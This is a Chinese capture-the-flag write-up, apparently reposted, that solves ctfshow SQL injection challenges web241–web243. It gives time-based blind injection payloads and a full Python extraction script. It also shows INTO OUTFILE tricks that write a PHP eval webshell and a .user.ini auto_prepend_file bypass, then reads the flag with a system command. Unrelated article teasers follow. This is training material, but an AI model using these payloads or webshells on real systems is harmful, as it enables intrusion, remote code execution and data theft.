ctfshow-web入门-sql注入(web241、web242、web243)delete file 注入

news2024/9/25 3:19:48

目录

1、web241

2、web242

3、web243


1、web241

  //删除记录
  $sql = "delete from  ctfshow_user where id = {$id}";

这里是 delete 语句,查询出来的东西不会有回显,因此采用盲注。如果采用布尔盲注,我们需要根据页面的回显情况来判断,但是数据只有 21 条,并不够我们删除,还没查出结果数据就会被删完,因此采取时间盲注,通过延时来判断。

特别注意延时的控制,测试 payload:

等于 0 的 id 没有,因此前面不成立,不会执行删除操作,而是执行后面语句。

id=0 or sleep(0.1)

我这里用 0.1 都可以延时 2s 以上,如果 sleep 时间太久就会导致一直转圈

查表名:

payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)"}

这个跑出来的结果有点不准确,调整 sleep 为 0.18s,对应延时 3.5s 以上:

payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.18),0)"} 

拿到表名为 flag

继续查列名:

payload = {'id':f"0 or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'), {j}, 1) = '{k}',sleep(0.18),0)"}

也叫 flag

查字段:

payload = {'id': f"0 or if(substr((select flag from flag), {j}, 1) = '{k}',sleep(0.18),0)"}

拿到 flag:ctfshow{43862763-f41a-4e25-9cbb-704c656ed840}

附上勇师傅的完整脚本:

# @author:Myon
# @time:20240910
import requests
import string

url = 'http://9a1a4898-270b-4136-885e-911020423c34.challenge.ctf.show/api/delete.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.18),0)"}  # 猜表名
        # payload = {'id':f"0 or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'), {j}, 1) = '{k}',sleep(0.18),0)"}  # 猜列名
        payload = {'id': f"0 or if(substr((select flag from flag), {j}, 1) = '{k}',sleep(0.18),0)"}  # 跑flag

        re = requests.post(url, data=payload)
        # print(re.elapsed.total_seconds())
        if re.elapsed.total_seconds() > 3.5:
            out += k
            break
    print(out)

2、web242

真的是很无语,题目就给个 dump 目录,又不说我这个 filename 在哪里传,找了 api 接口,不是,file.php?,也不是,我****

这里传参的文件叫 dump.php,在 api 接口下:

我们知道 into outfile 可以用来写入 webshell,之前接触的是前面 select 的内容可控,但是这里传入的参数位置在 into outfile 的后面,因此 select 写入的方法不适用,我们采用行结束符或者字段分隔符来写入,类似这种格式:

在我之前关于 HVV 的文章中也有介绍,这个其实也是 sqlmap 的 --os-shell 参数的写入方法。

1'into outfile '路径' + lines terminated by + <木马>
1'into outfile '路径' + lines starting by + <木马>
1'into outfile '路径' + fields terminated by + <木马>
1'into outfile '路径' + columns terminated by + <木马>

在 into outfile 后面可以接扩展参数,这里注意正确闭合引号就可以了,payload:

filename=myon.php'lines terminated by "<?php eval($_POST[1]);?>"#

写入的文件在 dump 目录下,访问调用即可:

在根目录下发现一个名为 flag.here 的文件 

读取:

1=system('cat /flag.here');

拿到 flag:ctfshow{74769a98-c7e0-464e-9605-a541e184b419}

3、web243

新增过滤了 php,可以结合配置文件来解析实现绕过。

它这里有一个假的 403 的 php 文件:

先写入 配置文件 .user.ini

filename=.user.ini'lines starting by "auto_prepend_file=eval.png"#

这里为什么用 STARTING 了,看一下两者的区别:

一个会将写入内容放在开头,另一个则是设置在结尾,为了减少配置文件内容被查询内容影响,这里我们选择将配置文件内容放在开头。

LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

再写入一句话木马 eval.png,注意内容使用短标签绕过:

filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#

调用时还是出了问题,很明显是查询内容与我们写入内容拼接起来了

下载我们写入的配置文件看看,果然是的 

这里得截断一下,我们可以将写入的内容就放在后面,但是得先在前面用分号截断:

filename=.user.ini'lines starting by ';' terminated by"auto_prepend_file=eval.png"#

但是下载配置文件查看感觉还是有点问题(没有调用成功)

这里采用十六进制,对配置文件前后都增加换行符(%0a) 

 

filename=.user.ini'lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d6576616c2e706e670a#

这次看着应该就没什么问题了

写入一句话:

filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#

调用:

读取:

拿到 flag:ctfshow{713f73bb-9eb9-4232-b640-dcf0d87a67fe}

更简单的方法,我们就放前面,在配置文件内容后面使用分号截断,避免与查询结果拼接:

filename=.user.ini'lines starting by "auto_prepend_file=eval.png;"#

写入后内容如下:

写入一句话:

filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#

同样也可以解析成功,最主要的就是确保写入的配置文件内容不受查询结果影响。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2121605.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电影《西施新传》首映礼,九月金秋全国正式公映

2024年9月1日&#xff0c;古装谋略情感影片《西施新传》在无锡大世界影城中山路IMAX激光店举办首映礼。电影《西施新传》根据作家沈雅琴、笔名一蝶的同名小说改编&#xff0c;以家喻户晓四大美人之首的西施为主人公&#xff0c;讲述了春秋末期吴越战争的故事。越国败于吴国&…

Spring Boot 注解探秘:常用配置值读取注解的魔力

在 Spring Boot 应用开发中&#xff0c;我们会常常借助Apollo&#xff0c;Spring Cloud Config等配置中心来集中管理配置信息&#xff0c;在拥有配置信息之后&#xff0c;高效且准确地读取这些配置信息无疑是极为关键的一环。今天我们就来介绍几个常用的用于配置值读取的注解。…

基于云函数的自习室预约微信小程序+LW示例参考

全阶段全种类学习资源&#xff0c;内涵少儿、小学、初中、高中、大学、专升本、考研、四六级、建造师、法考、网赚技巧、毕业设计等&#xff0c;持续更新~ 文章目录 [TOC](文章目录) 1.项目介绍2.项目部署3.项目部分截图4.获取方式 1.项目介绍 技术栈工具&#xff1a;云数据库…

联想 ThinkSystem DM3000H 混合闪存阵列,助力浙江石油化工全面优化私有云数据管理平台

国内石油化工行业领军企业浙江石油化工有限公司&#xff08;以下简称“浙石化”&#xff09;成立于 2015 年&#xff0c;是一家民企控股、国企参股的混合所有制企业。由浙石化投资建设的炼化一体化项目是国内最大的一次性绿地投资建设的炼化一体化项目&#xff0c;项目规划总面…

十二、新版UI

一、UI Toolkit 这个组件是新版的UI系统 创建了一个新的UIBuild&#xff0c;在单独的场景中打开 未来Unity会以这个为基准。 缺点&#xff1a;目前没有Animator&#xff0c;做不了动画&#xff1b;没法加shader

前端用html写excel文件直接打开

源码 <html xmlns:o"urn:schemas-microsoft-com:office:office" xmlns:x"urn:schemas-microsoft-com:office:excel" xmlns"http://www.w3.org/TR/REC-html40"> <head><meta charset"UTF-8"><!--[if gte mso 9]&…

智能风扇的全新升级:NRK3603语音芯片识别控制模块的应用

在当今智能化生活的潮流中&#xff0c;如何让家电更加人性化、便捷化&#xff0c;已经成为消费者和制造商关注的焦点。在这股大潮中&#xff0c;NRK3603语音识别模块以其出色的性能和广泛的应用&#xff0c;为智能电风扇带来了全新的升级。 1. 芯片特性 NRK3603是一款高性能、…

ADTEC自动阻抗匹配器维修AMVG-2000-FY AMVG-1000-CD

提供全系列ADTEC自动阻抗匹配器维修&#xff0c;射频电源维修。 ADTEC自动阻抗匹配网络可以实现高速自动整合&#xff0c;该系列设备装备了可以通过个人电脑操作和测量的AMV软件&#xff0c;设备内置了用于预设和LC网络的标准库&#xff0c;还可以根据客户要求进行定制&#x…

高颜值官网(1):百货类网站UI,拓展一下你的眼界。

Hi、我是大千UI工场&#xff0c;本期开始每次分享8-10个各行业的大气颜值官网&#xff0c;欢迎关注我&#xff0c;以便及时收到更新消息&#xff0c;我是10年UI和前端领域老司机了&#xff0c;一定不负所望。

代码随想录 - 1 - 数组 - 二分查找

代码随想录&#xff1a;代码随想录 一.数组理论基础 数组是存放在连续内存空间上的相同类型数据的集合 数组可以方便的通过下标索引的方式获取到下标对应的数据 需要注意&#xff1a; 数组下标都是从0开始的数组内存空间的地址是连续的正是因为数组在内存空间的地址是连续的&…

post请求中有[]报400异常

序言 在和前端同学联调的时候&#xff0c;发现只要post请求参数里面有[]&#xff0c;就会报400的错误 可以看到日志中&#xff1a; The valid characters are defined in RFC 7230 and RFC 3986 解决办法&#xff1a; 参考了博客&#xff1a; spring boot 中解决post请求中有…

企业如何进行社媒聆听?需要关注哪些维度?

企业进行社媒聆听&#xff0c;简单来说就是关注企业在抖音、小红书、微信等社交媒体平台的品牌、竞品被提及情况。用以帮助企业洞悉客户与市场&#xff0c;调整营销节奏。要做好社媒聆听&#xff0c;主要从以下几个方面入手&#xff1a; 一、监测内容-了解品牌声量趋势 设定品…

在centos上搭建syslog服务端

在CentOS上搭建一个syslog服务器&#xff0c;可以使用rsyslog服务 安装rsyslog&#xff1a; sudo yum install rsyslog编辑配置文件 /etc/rsyslog.conf&#xff0c;确保以下设置&#xff1a; 确保服务器监听在UDP 514端口上&#xff1a; $ModLoad imudp $UDPServerRun 514禁…

【高中物理】用代码缩写胡克定律公式原理图

用代码缩写胡克定律公式原理图 代码实现了以下功能&#xff1a; 交互式滑块&#xff1a;用户可以通过滑块调整弹簧的弹性系数&#xff08;k&#xff09;、拉力大小&#xff08;F&#xff09;和弹簧的原长&#xff08;l0&#xff09;&#xff0c;实时观察弹簧的伸长和受力变化。…

消费零售行业如何实现数智化转型?从四个阶段循序渐进

随着信息技术的迅猛进步&#xff0c;企业纷纷踏上数字化转型的征途&#xff0c;而数字化仅是实现数智化的起点。数智化&#xff0c;核心在于数据智能化&#xff0c;它强调企业运用数字化技术汇聚并分析数据&#xff0c;以数据为引擎推动决策优化与创新发展。在消费零售领域&…

RiverPod以及Hook

RiverPod 导入和基础等查看官方文档 import package:hooks_riverpod/hooks_riverpod.dart;final normalProvider Provider<String>((ref) {return "this is normalProvider"; }); final stateProvider StateProvider.autoDispose((ref) {return "this …

Docker:对已有的容器,对当前容器映射的端口实时增删改查

首先我的docker已经起了一个容器&#xff0c;我突然想把他的80->80映射的端口改成80->8080 但是我不想去新启动容器&#xff0c;想在现有容器基础上去修改&#xff0c;或者我想删除某个端口映射&#xff08;只是大概思路&#xff09; 如何寻找容器配置文件位置 首先我这…

SpringBoot大学生租房平台:技术实现与市场分析

第2章 开发环境与技术 大学生租房平台的编码实现需要搭建一定的环境和使用相应的技术&#xff0c;接下来的内容就是对大学生租房平台用到的技术和工具进行介绍。 2.1 MYSQL数据库 本课题所开发的应用程序在数据操作方面是不可预知的&#xff0c;是经常变动的&#xff0c;没有办…

使用LDAP登录GitLab

使用LDAP登录GitLab gitlab.rb 配置如下 gitlab_rails[ldap_enabled] true #gitlab_rails[prevent_ldap_sign_in] false###! **remember to close this block with EOS below** gitlab_rails[ldap_servers] YAML.load <<-EOSmain:label: LDAPhost: 172.16.10.180port:…

FAT32文件系统详细分析 (格式化SD nandSD卡)

FAT32 文件系统详细分析 (格式化 SD nand/SD 卡) 目录 FAT32 文件系统详细分析 (格式化 SD nand/SD 卡)1. 前言2.格式化 SD nand/SD 卡3.FAT32 文件系统分析3.1 保留区分析3.1.1 BPB(BIOS Parameter Block) 及 BS 区分析3.1.2 FSInfo 结构扇区分析3.1.3 引导扇区剩余扇区3.1.4 …